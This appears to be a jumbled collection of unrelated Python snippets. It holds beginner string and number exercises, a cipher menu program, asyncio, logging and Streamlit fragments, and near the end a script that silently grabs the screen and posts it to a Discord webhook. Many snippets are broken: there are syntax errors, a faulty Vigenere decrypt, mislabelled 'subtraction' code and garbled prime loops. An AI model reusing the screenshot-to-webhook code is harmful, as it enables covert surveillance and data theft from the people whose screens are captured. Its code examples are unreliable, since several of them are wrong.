    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.RSA \n 5.Transposition Cipher \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message \n 2.Decrypt a message")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
    
    elif Choice == 4:
        print("1.Encrypt or Decrypt message after key generation")
        opt = int(input("Choose one option from above: "))
        
        if opt == 1:
            p = int(input("Enter a prime number (17, 19, 23 etc): "))
            q = int(input("Enter another prime number (Not one you entered above): "))
            print("Generating your public and private keypairs...")
            public, private = generate_keypair(p, q)
            print("Your public key = ", public, " and your private key = ", private)
            message = input("Enter a message to encrypt with your key: ")
            encrypted_msg = encrypt4(private, message)
            print("Your encrypted message is: ")
            print(''.join(map(lambda x: str(x), encrypted_msg)))
            print("Your message is:")
            print(decrypt4(public, encrypted_msg))
        
        else:
            print("You entered a wrong option")
    
    elif Choice == 5:
        print("1.Encryption \n 2.Decryption")
        option = int(input("\nChoose one option from above: "))

        if option == 1:
            message = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(message) - 1)))
            text = encryptMessage(key, message)
            print("Your encrypted message = ",text)
        elif option == 2:
            cipher = input("Enter message: ")
            key = int(input("Enter key [2-%s]: " % (len(cipher) - 1)))
            text = decryptMessage(key, cipher)
            print("Your encrypted message = ",text)
        
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
# if order of characters is important

string=input('enter string:')
new=''
for i in string:
    if i not in new:
        new+=i
print(new)

# if order of characters is not important

s=set()
for i in string:
    s.add(i)
lis=''
for i in s:
    lis+=i
print(lis)
string1=input('enter first string:')
string2=input('enter second string:')
string=''.join([string1,string2])
print('string concatenation without join method:',string1+string2)
print('string concatenation using join method:',string)
string=input('enter string:')
new=''
for i in string:
    if i!=' ':
        new+=i
print('string after removing spaces:',new)
string=input('enter string:')
lis=[]
for i in string:
    lis.append(i)
print(lis)

(OR)

print(list(string))
string=input('enter string:')
alpha=0
digits=0
special=0
for i in string:
    if i.isdigit():
        digits+=1
    elif i.isalpha():
        alpha+=1
    else:
        special+=1
print('digits:',digits,'alphabets:',alpha,'special character:',special)
string=input('enter string:')
new=''
lis=['a','e','o','i','u']
for i in range(len(string)):
    if string[i].lower() in lis:
        new+='_'
        new+=string[i+1:]
        break
    else:
        new+=string[i]
print(new)
string=input('enter string:')
count=0
char=''
for i in set(string):
    if string.count(i)>count:
        count=string.count(i)
        char=i
print(char)
string=input('enter string:')
vowels=0
consonants=0
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        vowels+=1
    else:
        consonants+=1
print('In',string,'there are',vowels,'vowels and',consonants,'are there',)
string=input('enter string:')
new=''
lis=['a','e','i','o','u']
for i in string:
    if i.lower() in lis:
        i='' # continue
    new+=i
print('The string after removing vowels is',new)
string=input('enter string:')
new=''
for i in string:
    if i.isupper():
        i=i.lower()
    new+=i
print('Lower Case String is',new)
string=input('enter string:')
new=''
for i in string:
    if i.islower():
        i=i.upper()
    new+=i
print('Uppercase String is',new)
from django.contrib import admin

class RelationAdmin(admin.ModelAdmin):
       raw_id_fields = ('Media','Particle',)

admin.site.register(Relation, RelationAdmin)
string=input('enter string:')
char=input('enter character to replace space:')
modify_String=string.replace(' ',char)
print('After Replacing space with',char,'string will be',modify_String)

(OR)

string=input('enter string:')
char=input('enter character to replace space:')
concate=''
for i in string:
    if i==' ':
        i=char
    concate+=i
print('After Replacing space with',char,'string will be',concate)
    
(OR)

string=input('enter string:')
char=input('enter character to replace space:')
print('After Replacing space with',char,'string will be',char.join(string.split()))


char=input('enter character:')
if '0'<=char<='9':
    print(char,'is digit')
else:
    print(char,'is not digit')
    
(OR)
    
char=input('enter character:')
if 48<=ord(char)<=57:
    print(char,'is digit')
else:
    print(char,'is not digit')

(OR)

char=input('enter character:')
if char.isdigit():  # isdigit() is a method to find digit or not it returns true and false
    print(char,'is digit')
else:
    print(char,'is not digit')
char=input('enter character:')
lis=['a','e','i','o','u']
if char.lower() in lis:
    print(char,'is vowel')
else:
    print(char,'is consonant')

(OR)

char=input('enter character:')
if char=='a' or char=='e' or char=='i' or char=='o' or char=='u' or char=='A' or char=='E' or char=='I' or char=='O' or char=='U':
    print(char,'is vowel')
else:
    print(char,'is consonant')
string=input('enter string:')
if string==string[::-1]:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
if string==''.join(reversed(string)):
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
reverse=''
for i in string:
    reverse=i+reverse
if string==reverse:
    print(string,'is palindrome')
else:
    print(string,'is not palindrome')
    
    (OR)
    
string=input('enter string:')
for i in range(len(string)//2):
    if string[i]!=string[len(string)-i-1]:
        print(string,'is not palindrome')
        break
else:
    print(string,'is palindrome')
string1=input('enter first string:')
string2=input('enter second string:')
string1=string1.lower()
string2=string2.lower()
if sorted(string1)==sorted(string2):
    print('string1 and string2 are anagrams')
else:
    print('string1 and string2 are not anagrams')
string=input('enter string:')
char=input('enter character you want to count:')
count=0
for i in string:
    if i==char:
        count+=1
print('The number of occurance of character',char,'is',count)
string=input('enter string:')
char=input('enter character you want to remove:')
strr=string.replace(char,'')
print('string after removing',char,'character: ',strr)
def encrypt(message, key):
    cipher = ""
    
    for i in range(len(message)):
            char = message[i]
            keychar = key[i]
            
            if (char.isupper()):
                cipher += chr((ord(char) + ord(keychar) - 130) % 26 + 65)
                
            else:
                cipher += chr((ord(char) + ord(keychar) - 194) % 26 + 97)
        
    return cipher

def decrypt(cipher, key):
    message = ""
    
    for i in range(len(cipher)):
            char = cipher[i]
            keychar = key[i]
            
            if (char.isupper()):
                message += chr((ord(char) - ord(keychar) - 130) % 26 + 65)
                
            else:
                message += chr((ord(char) - ord(keychar)) % 26 + 97)
                
    return message
    
def newkey(text, key):
    newkey = ""
    length = 1
        
    while length <= len(text):
        for i in range(len(key)):
            if length <= len(text):
                newkey += key[i]
                length += 1
            else:
                break;
    return newkey
    
x = 1
while(x==1):
    print("1.Caesar Cipher \n 2.Vernam Cipher \n 3.Vigenere Cipher \n 4.Transposition Cipher \n 5.RSA \n")
    Choice = int(input("Choose one of the options above: "))
 
    if Choice == 1:
        print("\n1.Encrypt a message \n 2.Decrypt a message\n")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            cipher = ""
            message = input("Enter your message: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(message)):
                char = message[i]
            
                if (char.isupper()):
                    cipher += chr((ord(char) + shift - 65) % 26 + 65)

                else:
                    cipher += chr((ord(char) + shift - 97) % 26 + 97)
                
            print("Your cipher text = ",cipher)
 
        if option == 2:
            message = ""
            cipher = input("Enter your Cipher text: ")
            shift = int(input("Enter the shift value: "))
        
            for i in range(len(cipher)):
                char = cipher[i]
            
                if (char.isupper()):
                    message += chr((ord(char) - shift - 65) % 26 + 65)
        
                else: 
                    message += chr((ord(char) - shift - 97) % 26 + 97)
            print("Your decrypted message = ",message)
 
    elif Choice == 2:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message : ")
            key = input("Enter the key: ")
        
            print("Your cipher text = ",encrypt(message, key))
        
        elif option == 2:
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            print("Your decrypted message = ",decrypt(cipher, key))
 
    elif Choice == 3:
        print("1.Encrypt a message")
        print("2.Decrypt a cipher")
        option = int(input("Choose one option from above: "))
    
        if option == 1:
            message = input("Enter your message: ")
            key = input("Enter the key: ")
        
            key = newkey(message, key)
            print("Your cipher text = ",encrypt(message,key))
        
        elif option == 2:
            message = ""
            cipher = input("Enter the cipher text: ")
            key = input("Enter the key: ")
        
            key = newkey(cipher, key)
            print("Your decrypted message = ",decrypt(cipher,key))
            
    opt = input("\nDo you want to continue?(y/n): ")
    if opt == 'n':
        x = 0
    elif opt == 'y':
        x = 1
        
        
num = int(input("enter number:"))

print("square of",num,'is',num*num) # normal

print('square of',num,'is',pow(num,2)) # using pow() function

print('square of',num,'is',num**2) # using exponent operator

print("cube of",num,'is',num*num*num) # normal

print('cube of',num,'is',pow(num,2)*num) # using pow() function

print('cube of',num,'is',num**2*num) # using exponent operator
# using pow() function

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
print(base,"to power ",exponent,"=",pow(base,exponent))


( OR )

# using for loop (iterative method)

base = int(input("Enter the value for base :"))
exponent = int(input("Enter the value for exponent :"))
power=1
for i in range(1,exponent+1):
    power*=base
print(base,"to power ",exponent,"=",power)
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1<=n2 and n1<=n3:
    small=n1
elif n2<=n1 and n2<=n3:
    small=n2
else:
    small=n3
print('minimum value is',small)
low=int(input('enter lower range:'))
high=int(input('enter heigher range:'))
for i in range(low,high+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
n=int(input('enter number:'))
for i in range(2,n+1):
    for j in range(2,i//+1):
        if i%j==0:
            break
    else:
        print(i,end=' ')
        
        
(OR)


def prime(n):
    if n<2:
        return 0
    else:
        for i in range(2,n//2+1):
            if n%i==0:
                return 0
        return 1

n=int(input('enter number:'))
for i in range(1,n+1):
    if prime(i):
        print(i,end=' ')
n=int(input('enter number:'))
if n%2==0:
    print(n,'is even number')
else:
    print(n,'is odd number')
def fact(n):
    if n==1:
        return 1
    else:
        return n*fact(n-1)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(n,'!=',fact(n))
    
n=int(input('enter number:'))
if n<0:
    print('enter positive number')
elif n==0:
    print(0,'!=',1)
else:
    factorial=1
    for i in range(1,n+1):
        factorial=factorial*i
    print(n,'!=',factorial)
arr=list(map(int,input('enter values to array:').split()))
summ=sum(arr)
length=len(arr)
average=summ/length
print(average)
n=int(input('enter number:'))
summ=0
for i in range(1,n): # (1,n//2+1) all factors b/w 1 and half of number if excludes n itself
    if n%i==0:
        summ+=i
if summ==n:
    print(n,'is perfect number')
else:
    print(n,'is not perfect number')
#by using increment

n1=int(input('enter first number:')) 
n2=int(input('enter second number:')) 
for i in range(1,n2+1): 
    n1+=1
print(n1)

#by using AND (&) and XOR(A)

n1=int(input('enter first number:')) 
n2=int(input('enter second number:'))
while(n2!=0): 
    carry=n1&n2
    n1=n1^n2
    n2=carry<<1
print(n1)

#Subtraction without '-' operator

n1=int(input('enter first number:'))
n2=int(input('enter second number:')) 
while(n2!=0):
    n1=n1^n2
    carry=n1&n2 
    n2=carry<<1
print(n1)
async def async_http_download(src_url, dest_file, chunk_size=65536):
    async with aiofiles.open(dest_file, 'wb') as fd:
        async with aiohttp.ClientSession() as session:
            async with session.get(src_url) as resp:
                async for chunk in resp.content.iter_chunked(chunk_size):
                    await fd.write(chunk)
import asyncio
import concurrent.futures
import requests

async def main():

    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:

        loop = asyncio.get_event_loop()
        futures = [
            loop.run_in_executor(
                executor, 
                requests.get, 
                'http://example.org/'
            )
            for i in range(20)
        ]
        for response in await asyncio.gather(*futures):
            pass


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
temp=n1
n1=n2
n2=temp
print('After Swapping: n1=',n1,'n2=',n2)

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1=n1+n2
n2=n1-n2
n1=n1-n2
print('After Swapping: n1=',n1,'n2=',n2)

(OR)

# This will used for any datatype like strings also

n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
print('Before Swapping: n1=',n1,'n2=',n2)
n1,n2=n2,n1
print('After Swapping: n1=',n1,'n2=',n2)
# input as Number

n=int(input('enter number:'))
temp=n
while(n!=0):
    rem=n%10
    if rem!=0 and rem!=1:
        print(temp,'is not Binary Number')
        break
    n=n//10
else:
    print(temp,'is Binary Number')
    
    
(OR)

# input as String

n=input('enter number:')
lis=['1','0']
for i in n:
    if i not in lis:
        print(n,'is not Binary Number')
        break
else:
    print(n,'is Binary Number')
n1=int(input('enter first number:'))
n2=int(input('enter second number:'))
n3=int(input('enter third number:'))
if n1>=n2 and n1>=n3:
    maxi=n1
elif n2>=n1 and n2>=n3:
    maxi=n2
else:
    maxi=n3
print('maximum value is',maxi)

(OR)

# using ternary operator

maxi=n1 if n1>=n2 else n2
maxi= maxi if maxi>=n3 else n3
print('maximum value is',maxi)
n=int(input('enter number:'))
temp,reverse=n,0
while(n!=0):
    rem=n%10
    reverse=(reverse*10)+rem
    n=n//10
if temp==reverse:
    print(temp,'is Palindrome Number')
else:
    print(temp,'is not Palindrome Number')

(OR)

n=int(input('enter number:'))
reverse=int(str(n)[::-1])
if n==reverse:
    print(n,'is Palindrome Number')
else:
    print(n,'is not Palindrome Number')
def fibonacci(n):
    if n<=1:
        return n
    return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print(fibonacci(n))
    
# Fibonacci term always starts with 0
def fibonacci(n):
    if n==0:
        return 0
    elif n==1:
        return 1
    else:
        return fibonacci(n-1)+fibonacci(n-2)

n=int(input('enter number:'))
if n<0:
    print('enter positive number')
else:
    print('Fibonacci Series: ',end='')
    for i in range(n):
        print(fibonacci(i),end=' ')
n=int(input('enter number:'))
if n==1:
    print(1,'is not prime number because it has only one factor')
else:
    for i in range(2,n): # (2,n//2)
        if n%i==0:
            print(n,'is not prime number')
            break
    else:
        print(n,'is prime number')
n=int(input('enter number:'))
temp=n
length=len(str(n))
summ=0
while(n!=0):
    rem=n%10
    summ=summ+rem**length # pow(rem,length)
    n=n//10
if summ==temp:
    print('It is Armstrong Number')
else:
    print('It is not Armstrong Number')
n=int(input('enter number:'))
reverse=0
while(n!=0):
    rem=n%10
    reverse=reverse*10+rem
    n=n//10
print(reverse)

(OR)

n=int(input('enter number'))
print(int(str(n)[::-1]))
n=int(input('enter number:'))
num1,num2=0,1
print(num1,num2,end=' ')
for i in range(2,n):
    num3=num1+num2
    num1=num2
    num2=num3
    print(num3,end=' ')
def count_partitions(n, m):
  if (n == 0 ): 
    return 1 # there is only 1 way i.e. to leave it unpartitioned
  if (m == 0 or n < 0):
    return 0 # there is no way to divide n into 0 partions or if n is -ve (latter one from edge case of recursion call of n - m)
  else:
    return count_partitions(n - m, m) + count_partitions(n, m - 1)

print(count_partitions(9, 5)) # 23
  
def uniquePaths(n, m):
  if (n == 1 or m == 1):
    return 1
  else:
    return uniquePaths(n - 1, m) + uniquePaths(n, m - 1)

print(uniquePaths(3, 3))
result.fillna(0, inplace=True)
import json
import pprint

from urllib.request import urlopen

with urlopen("https://pypi.org/pypi/sampleproject/json") as resp:
    project_info = json.load(resp)["info"]

print(project_info)
""" Result:
    {'author': '', 'author_email': '"A. Random Developer" <author@example.com>', 'bugtrack_url': None, 'classifiers': ['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: 3.11', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Topic :: Software Development :: Build Tools'], 'description': '# A sample Python project\n\n![Python Logo](https://www.python.org/static/community_logos/python-logo.png "Sample inline image")\n\nA sample project that exists as an aid to the [Python Packaging User\nGuide][packaging guide]\'s [Tutorial on Packaging and Distributing\nProjects][distribution tutorial].\n\nThis project does not aim to cover best practices for Python project\ndevelopment as a whole. For example, it does not provide guidance or tool\nrecommendations for version control, documentation, or testing.\n\n[The source for this project is available here][src].\n\nThe metadata for a Python project is defined in the `pyproject.toml` file,\nan example of which is included in this project. You should edit this file\naccordingly to adapt this sample project to your needs.\n\n----\n\nThis is the README file for the project.\n\nThe file should use UTF-8 encoding and can be written using\n[reStructuredText][rst] or [markdown][md use] with the appropriate [key set][md\nuse]. It will be used to generate the project webpage on PyPI and will be\ndisplayed as the project homepage on common code-hosting services, and should be\nwritten for that purpose.\n\nTypical contents for this file would include an overview of the project, basic\nusage examples, etc. Generally, including the project changelog in here is not a\ngood idea, although a simple “What\'s New” section for the most recent version\nmay be appropriate.\n\n[packaging guide]: https://packaging.python.org\n[distribution tutorial]: https://packaging.python.org/tutorials/packaging-projects/\n[src]: https://github.com/pypa/sampleproject\n[rst]: http://docutils.sourceforge.net/rst.html\n[md]: https://tools.ietf.org/html/rfc7764#section-3.5 "CommonMark variant"\n[md use]: https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n', 'description_content_type': 'text/markdown', 'docs_url': None, 'download_url': '', 'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1}, 'home_page': '', 'keywords': 'sample,setuptools,development', 'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ', 'maintainer': '', 'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>', 'name': 'sampleproject', 'package_url': 'https://pypi.org/project/sampleproject/', 'platform': None, 'project_url': 'https://pypi.org/project/sampleproject/', 'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues', 'Funding': 'https://donate.pypi.org', 'Homepage': 'https://github.com/pypa/sampleproject', 'Say Thanks!': 'http://saythanks.io/to/example', 'Source': 'https://github.com/pypa/sampleproject/'}, 'release_url': 'https://pypi.org/project/sampleproject/3.0.0/', 'requires_dist': ['peppercorn', "check-manifest ; extra == 'dev'", "coverage ; extra == 'test'"], 'requires_python': '>=3.7', 'summary': 'A sample Python project', 'version': '3.0.0', 'yanked': False, 'yanked_reason': None}
"""

pprint.pprint(project_info)
"""
    {'author': '',
     'author_email': '"A. Random Developer" <author@example.com>',
     'bugtrack_url': None,
     'classifiers': ['Development Status :: 3 - Alpha',
                     'Intended Audience :: Developers',
                     'License :: OSI Approved :: MIT License',
                     'Programming Language :: Python :: 3',
                     'Programming Language :: Python :: 3 :: Only',
                     'Programming Language :: Python :: 3.10',
                     'Programming Language :: Python :: 3.11',
                     'Programming Language :: Python :: 3.7',
                     'Programming Language :: Python :: 3.8',
                     'Programming Language :: Python :: 3.9',
                     'Topic :: Software Development :: Build Tools'],
     'description': '# A sample Python project\n'
                    '\n'
                    '![Python '
                    'Logo](https://www.python.org/static/community_logos/python-logo.png '
                    '"Sample inline image")\n'
                    '\n'
                    'A sample project that exists as an aid to the [Python '
                    'Packaging User\n'
                    "Guide][packaging guide]'s [Tutorial on Packaging and "
                    'Distributing\n'
                    'Projects][distribution tutorial].\n'
                    '\n'
                    'This project does not aim to cover best practices for Python '
                    'project\n'
                    'development as a whole. For example, it does not provide '
                    'guidance or tool\n'
                    'recommendations for version control, documentation, or '
                    'testing.\n'
                    '\n'
                    '[The source for this project is available here][src].\n'
                    '\n'
                    'The metadata for a Python project is defined in the '
                    '`pyproject.toml` file,\n'
                    'an example of which is included in this project. You should '
                    'edit this file\n'
                    'accordingly to adapt this sample project to your needs.\n'
                    '\n'
                    '----\n'
                    '\n'
                    'This is the README file for the project.\n'
                    '\n'
                    'The file should use UTF-8 encoding and can be written using\n'
                    '[reStructuredText][rst] or [markdown][md use] with the '
                    'appropriate [key set][md\n'
                    'use]. It will be used to generate the project webpage on PyPI '
                    'and will be\n'
                    'displayed as the project homepage on common code-hosting '
                    'services, and should be\n'
                    'written for that purpose.\n'
                    '\n'
                    'Typical contents for this file would include an overview of '
                    'the project, basic\n'
                    'usage examples, etc. Generally, including the project '
                    'changelog in here is not a\n'
                    "good idea, although a simple “What's New” section for the "
                    'most recent version\n'
                    'may be appropriate.\n'
                    '\n'
                    '[packaging guide]: https://packaging.python.org\n'
                    '[distribution tutorial]: '
                    'https://packaging.python.org/tutorials/packaging-projects/\n'
                    '[src]: https://github.com/pypa/sampleproject\n'
                    '[rst]: http://docutils.sourceforge.net/rst.html\n'
                    '[md]: https://tools.ietf.org/html/rfc7764#section-3.5 '
                    '"CommonMark variant"\n'
                    '[md use]: '
                    'https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n',
     'description_content_type': 'text/markdown',
     'docs_url': None,
     'download_url': '',
     'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1},
     'home_page': '',
     'keywords': 'sample,setuptools,development',
     'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  '
                'Permission is hereby granted, free of charge, to any person '
                'obtaining a copy of this software and associated documentation '
                'files (the "Software"), to deal in the Software without '
                'restriction, including without limitation the rights to use, '
                'copy, modify, merge, publish, distribute, sublicense, and/or sell '
                'copies of the Software, and to permit persons to whom the '
                'Software is furnished to do so, subject to the following '
                'conditions:  The above copyright notice and this permission '
                'notice shall be included in all copies or substantial portions of '
                'the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY '
                'OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE '
                'WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE '
                'AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT '
                'HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, '
                'WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING '
                'FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR '
                'OTHER DEALINGS IN THE SOFTWARE. ',
     'maintainer': '',
     'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>',
     'name': 'sampleproject',
     'package_url': 'https://pypi.org/project/sampleproject/',
     'platform': None,
     'project_url': 'https://pypi.org/project/sampleproject/',
     'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues',
                      'Funding': 'https://donate.pypi.org',
                      'Homepage': 'https://github.com/pypa/sampleproject',
                      'Say Thanks!': 'http://saythanks.io/to/example',
                      'Source': 'https://github.com/pypa/sampleproject/'},
     'release_url': 'https://pypi.org/project/sampleproject/3.0.0/',
     'requires_dist': ['peppercorn',
                       "check-manifest ; extra == 'dev'",
                       "coverage ; extra == 'test'"],
     'requires_python': '>=3.7',
     'summary': 'A sample Python project',
     'version': '3.0.0',
     'yanked': False,
     'yanked_reason': None}
"""
class CustomFormatter(logging.Formatter):

    grey = "\x1b[38;20m"
    yellow = "\x1b[33;20m"
    red = "\x1b[31;20m"
    bold_red = "\x1b[31;1m"
    reset = "\x1b[0m"
    format = "%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)"

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

# create logger with 'spam_application'
logger = logging.getLogger("My_app")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)
# Import the itertools library 
# This library ships with Python 3 so you don't have to download anything
# It provides a bunch of tools for dealing with sequences and iteration
import itertools

# Create a new dictionary variable
myDictionary = {
    "name": "Fred",
    "animal": "cat",
    "colour": "red",
    "age": 3
} 

# Create a sliced dictionary
# dict() is used to convert the iterable result of itertools.islice() to a new dictionary
slicedDict = dict(itertools.islice(myDictionary.items(), 1 ,3))

print(slicedDict)

# Prints out 
# {   
#     'animal': 'cat', 
#     'colour': 'red'
# }
import logging
logger = logging.getLogger('cmdstanpy')
logger.addHandler(logging.NullHandler())
logger.propagate = False
logger.setLevel(logging.CRITICAL)
import streamlit as st

display = ("male", "female")
options = list(range(len(display)))
value = st.selectbox("gender", options, format_func=lambda x: display[x])
st.write(value)

# dropdown shows "male, female" but the value is 1 or 2
import string
alphabet = list(string.ascii_lowercase)
print(alphabet)

# Returns: ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
# Last two items of ENTIRE list
ls = [1, 2, 3, 4, 5, 6, 7, 8]
print(ls[-2:])
# [7, 8]
# equivalent to ls[len(ls)-2:len(ls)], see below

# Last two items of A PART of list
cutoff = 5
print(ls[cutoff-2:cutoff])	# where -2 is last 2 values
# [4, 5]

# Using a for loop
for i in range(0, len(ls)):
   if i+1 ==  len(ls)):
      print(ls[i-1:len(ls)])
# [7, 8]



# Negative numbers in slices are simply evaluated by adding `len(ls)`, so this is the same as `ls[len(ls) - 2:]`. For more information on slices, refer to the [Python tutorial](http://docs.python.org/tutorial/introduction.html#strings) or [this excellent stackoverflow answer](https://stackoverflow.com/a/509295/35070).
list1 = [1, 2, 3]
list2 = [4, 5, 6]

# Product part
product_for_sum = []
for i in range(0, len(list1)):
   product_for_sum.append(list1[i]*list2[i])

# Sum part
sumproduct = sum(product_for_sum)

print(sumproduct)
# (1*4) + (2*5) + (3*6)
# = 4 + 10 + 18
# = 32 
import streamlit as st
from multipage_streamlit import MultiPage

def app():
    return
import streamlit as st

# Helper function to init session states
def init_sess_state(sess_state_name, init_val):
	if sess_state_name not in st.session_state:         
       st.session_state[sess_state_name] = init_val
    return sess_state_name
In [69]:
df.apply(lambda x: x.str.contains('|'.join(column_filters[x.name]), case=False))

Out[69]:
  COLUMN_1 COLUMN_2
0     True     True
1     True    False
2    False     True
3    False    False
4    False    False
from multiprocessing import Process

def func1():
  print 'func1: starting'
  for i in xrange(10000000): pass
  print 'func1: finishing'

def func2():
  print 'func2: starting'
  for i in xrange(10000000): pass
  print 'func2: finishing'

if __name__ == '__main__':
  p1 = Process(target=func1)
  p1.start()
  p2 = Process(target=func2)
  p2.start()
  p1.join()
  p2.join()

# give arg to function later
def scan_smth(domain):
    print("starting detailed scan")
    target=ssllabsscanner.newScan(domain)

t1 = Process(target=scan_smth, args=("www.example.com",))
t1.start()
t1.join()
# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)
# Capture a screenshot
screenshot = ImageGrab.grab()
# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."
import time
from io import BytesIO

import requests
from PIL import ImageGrab
import time
from io import BytesIO

import requests
from PIL import ImageGrab


# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."

# Capture a screenshot
screenshot = ImageGrab.grab()

# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)

# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
pip install pillow
pip install requests
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager

